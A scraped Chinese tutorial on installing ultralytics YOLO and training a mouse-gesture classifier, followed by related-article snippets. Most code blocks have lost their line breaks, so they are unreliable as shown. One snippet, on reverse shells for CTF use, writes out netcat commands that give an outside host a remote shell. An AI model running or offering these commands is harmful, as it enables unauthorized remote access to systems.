【课程总结】Day11(下):YOLO的入门使用

前言

YOLO的简介

YOLO(You Only Look Once)是一种流行的目标检测算法,由Joseph Redmon等人于2015年提出。YOLO的设计思想是将目标检测任务转化为单个神经网络的回归问题,通过在图像上划分网格并对每个网格预测边界框和类别置信度来实现目标检测。

YOLO的发展历史

  • YOLOv1:YOLOv1是最初的版本,提出了将目标检测任务统一为回归问题的思想,实现了实时目标检测。
  • YOLOv2:YOLOv2在YOLOv1的基础上进行改进,引入了一些技术,如多尺度训练、Batch Normalization等,提高了检测性能。
  • YOLOv3:YOLOv3进一步改进了网络结构,采用了更深的Darknet-53网络作为主干网络,提高了检测准确率和速度。
  • YOLOv4:YOLOv4引入了一系列新技术,如CSPDarknet53、Mish激活函数、PANet等,使得性能得到进一步提升。
  • YOLOv5:YOLOv5是由Ultralytics团队开发的版本,采用了PyTorch框架,针对性能和易用性进行了优化。

目前,YOLO系列算法在目标检测领域具有广泛的应用和影响力,被广泛应用于实时目标检测、视频分析、自动驾驶等领域。

YOLO的官网

地址:https://docs.ultralytics.com/zh

YOLO的安装

环境准备

  • Git客户端

    • 安装方法(windows系统下):

      • 第一步:访问https://git-scm.com/downloads
      • 第二步:下载对应系统的安装包进行安装
      • 第三步:安装完成后,右键菜单→Git Bash,输入git --version,如果显示版本号,则说明安装成功。
    • 安装方法(macOS系统下):

      • 第一步:启动terminal命令行
      • 第二步:输入brew install git,安装git
      • 第三步:输入git --version,如果显示版本号,则说明安装成功。
  • Python环境

    • 通过查看YOLO官网说明,ultralytics支持Python3.6+,因此需要安装Python3.6+版本的Python环境。
  • Pip

    • 确保系统中已经安装了pip

下载代码

第一步:在本地创建一个文件夹(例如:D:\yolo_materials),启动cmd

如果是Mac系统,在/Users/{用户名}/下创建一个文件夹即可,例如:我创建在/Users/deadwalk/Code/yolo_materials

第二步:在cmd中输入以下命令:

# git clone {仓库地址} 代表从仓库地址下载代码
git clone https://github.com/ultralytics/ultralytics.git

如果使用上面的gitclone命令拉取太慢,可以使用我在gitee上建立的镜像仓库,方法如下:

git clone https://gitee.com/deadwalk/ultralytics.git

代码拉取完毕后会显示如下

安装

在开始安装之前,我们再次回顾下Python解释器环境的问题:

  • 一般情况下,如果安装了Python和Anaconda的话,那么我们的机器中存在两个Python解释器环境,如下图所示:

  • 因为存在存在两个Python解释器环境,所以我们在安装使用时,可能存在:

    • 问题1:通过命令行pip安装在python环境,但是在jupyter notebook中import提示没有相关组件;
    • 问题2:通过anaconda prompt安装在anaconda的python环境中,但是vscode中import提示没有找到相关组件。

对于以上问题,请自行分辨未来要使用哪个IDE以及要安装到哪个Python解释器环境中。当然,两个环境都安装也是一种办法:)

命令行中安装ultralytics
安装方法(windows系统下):

第一步:使用cd命令进入ultralytics

cd ultralytics

第二步:在命令行中输入如下命令

pip install -e .


这种方法,默认是将ultralytics安装到上图左侧的Python环境

安装方法(macOS系统下):

Mac下的安装方法与windows系统下非常类似:
第一步:启动terminal命令行,进入到ultralytics目录
第二步:在命令行中输入pip install -e .

anaconda prompt中安装ultralytics
安装方法(windows系统下):

第一步:启动anaconda prompt

第二步:创建虚拟环境
在anaconda prompt中输入命令创建虚拟环境

创建虚拟环境而不使用base环境,是避免因为频繁安装卸载组件,污染全局环境,进而造成未来多个工程运行时出现异常。

# 创建一个新的虚拟环境(示例名称为myenv,可根据需要修改,如:yolo)
conda create --name myenv# 激活新创建的虚拟环境
conda activate myenv

第三步:在anaconda prompt中输入命令切换到刚才下载的ultralytics目录

# 输入D: 回车,切换到D盘
D:# 输入cd yolo_materials,切换到yolo_materials目录
cd yolo_materials# 输入cd ultralytics,切换到ultralytics目录
cd ultralytics

第四步:运行安装命令

conda install -c conda-forge ultralytics

关于conda相关命令手册请查看《Anaconda conda常用命令:从入门到精通》

安装方法(macOS系统下):

第一步:创建anaconda虚拟环境

第二步:启动anaconda prompt

第三步:切换到刚才下载的ultralytics目录

第四步:运行安装命令

conda install -c conda-forge ultralytics

验证安装

新建Python代码文件,使用下面代码进行验证

from ultralytics import YOLO
import ultralyticsprint(ultralytics.__version__)

在Jupyter notebook中运行上述代码,如果出现如下提示,则说明安装成功。

在VSCode中运行上述代码,如果出现如下提示,则说明安装成功。

注意:在VSCode中验证安装时,注意切换解释器为之前创建的虚拟环境:

一些后置操作

安装完毕后,可以通过开始→运行→输入%appdata%回车,进入用户目录下的Appdata\Roaming目录。

进入%appdata%目录后,可以找到ultralytics目录,里面存放着ultralytics的安装文件。

删除settings.yaml文件以避免ultralytics每次都读取默认配置

YOLO的应用

官网示例

在成功安装YOLO之后,我们可以参考官网的示例进行测试。

from ultralytics import YOLO# 1,构建模型
model = YOLO("yolov8n-cls.yaml") if __name__ == "__main__":# 2,训练模型results = model.train(data="mnist160", epochs=100, imgsz=64)


根据运行日志,找到对应的文件夹

鼠标手势识别

我们同样可以使用YOLO进行鼠标手势识别项目的训练。
第一步:将鼠标手势数据集拷贝至ultralytics\datasets\gestures目录下。

第二步:修改训练脚本如下

from ultralytics import YOLO# 1,构建模型
model = YOLO("yolov8n-cls.yaml") if __name__ == "__main__":# 2,训练模型results = model.train(data="gestures", epochs=100, imgsz=128,batch=8)

第三步:运行训练脚本,训练过程中可通过如下命令查看GPU的使用情况

nvidia-smi

第四步:训练完毕后,加载使用训练的模型
在ultralytics\runs\classify\train*\weights目录下,可以找到训练好的模型;
我们通过以下代码加载模型文件,进行预测:

import streamlit as st
import torch
import os
import numpy as np
from PIL import Image
from ultralytics import YOLOif __name__ == "__main__":# 1. 显示当前设备是GPU设备还是CPUdevice = "cuda" if torch.cuda.is_available() else "cpu"st.write(f"当前设备是{device}设备")# 2. 加载使用YOLO训练的模型model = YOLO("best.pt")  # load a custom trained model# 3. 上传一张图片img_path = st.file_uploader(label="上传一张图片", type=["png", "jpg", "jpeg"])if img_path:# 3.1 将上传的图像文件保存到临时文件with open("temp_img.jpg", "wb") as f:f.write(img_path.getvalue())img_path = "temp_img.jpg"# 4. 显示上传的图片img = Image.open(img_path)st.image(img, caption="上传的图片", use_column_width=True)# 5. 进行预测results = model(img_path)# 6. 显示预测结果for result in results:st.write(f"预测结果: {result}")# 7. 可视化预测结果annotated_img = results[0].plot()  # 使用plot方法可视化st.image(annotated_img, caption="预测结果", use_column_width=True)

运行结果:

内容小结

  • YOLO是深度学习中一个非常流行的模型,它具有很好的泛化能力,可以应用于各种场景。
  • YOLO的使用非常简单,只需要三步:引入ultralytics库,创建模型,训练模型。
  • YOLO训练后生成的模型文件以及过程日志,保存在ultralytics\runs目录下。
  • 如果想使用自定义的数据集,将数据集按照YOLO的放在ultralytics\datasets目录下即可。
  • YOLO训练后的模型使用时也比较简单,只需要三步:引入ultralytics库,加载模型,进行预测。

参考资料

CSDN:Anaconda conda常用命令:从入门到精通

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861320.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【鸿蒙】鸿蒙的Stage和 FA 有什么区别

鸿蒙的Stage模型和FA(Feature Ability)模型在多个方面存在显著的区别。以下是它们之间的主要差异点: 设计思想和出发点: Stage模型:设计基于为复杂应用而开发的出发点,旨在提供一个更好的开发方式&#xff…

40.连接假死-空闲检测-发送心跳

连接假死情况 1.网络设备出现故障,例如网卡,机房等。底层的TCP连接已经断开,但应用程序没有感知到,仍然占着资源。 2.公网网络不稳定,出现丢包。若果连续出现丢包,这时现象就是客户端数据发不出去,服务端也一直收不到数据,就这么一直耗着。 3.应用程序线程阻塞,无法…

Java初识集合(后续不断补充)

第一次更新时间:2024.6.26 集合概述 Java中的集合就像一个容器,专门用来存储Java对象(实际上是对象的引用,但习惯称为对象),这些对象可以是任意的数据类型,并且长度可变。其中,这些…

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆: REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…

一文了解自定义表单系统开源的多个优势

降本、提质、增效,是当前很多企业都想实现的目的。什么样的软件可以助力企业创造价值?低代码技术平台是近些年得到了很多客户喜爱的平台产品,因为它能帮助大家减少编程代码的撰写,能轻松助力各部门之间做好协调沟通工作&#xff0…

springcould-config git源情况下报错app仓库找不到

在使用spring config server服务的时候发现在启动之后的一段时间内控制台会抛出异常,spring admin监控爆红,控制台信息如下 --2024-06-26 20:38:59.615 - WARN 2944 --- [oundedElastic-7] o.s.c.c.s.e.JGitEnvironmentRepository : Error occured …

Golang中使用map时注意的问题

1. 将value定义为struct节省内存 1. 消除指针引用 当 map 的 value 是 struct 类型时,数据会直接存储在 map 中,而不是通过指针引用。这可以减少内存分配的开销和 GC(垃圾回收)的负担。 type User struct {ID intName string…

番外篇 | YOLOv8改进之利用轻量化卷积PConv引入全新的结构CSPPC来替换Neck网络中的C2f | 模型轻量化

前言:Hello大家好,我是小哥谈。本文使用轻量化卷积PConv替换Neck中C2f模块中Bottleneck里的传统卷积核得到CSPPC模块,使得模型更加轻量化。🌈 目录 🚀1.基础概念 🚀2.网络结构 🚀3.添加步骤 🚀4.改进方法 🍀🍀步骤1:block.py文件修改 🍀🍀步…

导航定位程序编译调试经验【1-20】

https://github.com/LiZhengXiao99/Navigation-Debug记录一些导航程序编译调试过程中遇到的问题,和我找到的解决方案,以后遇到啥问题了,都来记录一下;如果针对我提出的问题,您有更好的解决方案,欢迎评论分享…

MySQL 8 命令安装卸载教程

一、下载MySQL8 下载连接 MySQL :: Download MySQL Community Server 我下载的是当前最新版8.4 二、安装 1.解压 解压到需要安装的位置,例如我的位置: 2.创建配置文件 新建文本文档,复制下面配置文件(注意修改路经)…

Modbus TCP什么场景用?

什么是Modbus TCP Modbus TCP是一种基于TCP/IP网络的通信协议,它允许不同的设备通过以太网进行数据交换。Modbus协议最初是为串行通信设计的,但随着网络技术的发展,Modbus TCP应运而生,它继承了Modbus RTU和Modbus ASCII的许多优点…

平凉小果子,平凡中的惊艳味道

平凉美食小果子,这看似平凡的名字背后,藏着无数平凉人的美好回忆。它不仅仅是一种食物,更是一种情感的寄托,一种文化的传承。小果子的制作过程看似简单,实则蕴含着深厚的功夫。选用优质的面粉作为主要原料,…

Java学习笔记(多线程):CompetableFuture

本文是自己的学习笔记,主要参考资料如下 https://www.cnblogs.com/dolphin0520/p/3920407.html JavaSE文档 https://blog.csdn.net/ThinkWon/article/details/102508721 1、Overview2、重要参数3、主要方法3.1、创建实例,获取返回值3.2、线程执行顺序相关…

std::trhead的回调,中频繁发送信号,会导致qt的事件循环处理不过来吗

在Qt中,事件循环是负责处理所有事件和信号的核心机制。事件循环会不断地检查是否有待处理的事件,并且调度相应的事件处理器。在标准模板库(STL)的std::thread中使用回调函数来频繁发送信号到Qt的事件循环中,确实可能会导致性能问题,尤其是在高频率信号发送的情况下。 当…

大自然高清风景视频无水印素材在哪下载?下载视频素材网分享

在视频创作领域,一段高清的风景视频可以极大地提升你的作品质感。无论是作为背景、过渡片段还是主要内容,优质的风景视频素材都是必不可少的。然而,寻找既高清又无水印的风景视频素材并非易事。为了帮助大家轻松获取这类素材,我整…

牛客周赛 Round 48 解题报告 | 珂学家

前言 题解 这场感觉有点难,D完全没思路, EF很典,能够学到知识. E我的思路是容斥贡献,F很典,上周考过一次,引入虚拟节点质数(有点像种类并查集类似的技巧). 欢迎关注 珂朵莉 牛客周赛专栏 珂朵莉 牛客小白月赛专栏 …

Marin说PCB之total etch length规则知多少?

魔都上海最近迎来了一轮梅雨季节了,小编我上周就已经提前把被子衣服袜子都晒了一遍,省的后面一段时间下雨就不能晒了。这种阴雨绵绵的天气当然在家里睡觉最舒服了,上周留正当我在家里夏眠的时候,突然被一阵手机铃声吵醒了&#xf…

代码签名证书:保护你的软件,就像保护你的宝贝

Hey,大家好!今天我们来聊聊一个听起来可能有点技术宅,但实际上超级重要的东西——代码签名证书。别担心,我会用最简单易懂的话来解释它,保证你看完这篇文章后,能对代码签名证书有个全新的认识! …

苹果Mac安装adobe软件报错“installer file may be damaged”解决方案

最近Mac电脑系统的有小伙伴在安装PS、AI、AE、PR等软件,出现了一个错误,让人头疼不已,苦苦找寻,也找不到完美的解决方法。让我们来一起看看吧! 很多小伙伴都喜欢苹果电脑,但是在安装外来软件时,…

python--os.walk()函数使用(超详细)

在Python 3.7中,os.walk()函数的用法与早期版本(包括Python 3.4及之后)保持一致。os.walk()是一个用于遍历目录树的生成器函数,它生成给定目录中的文件名。这个函数没有直接的参数(除了你要遍历的目录路径,…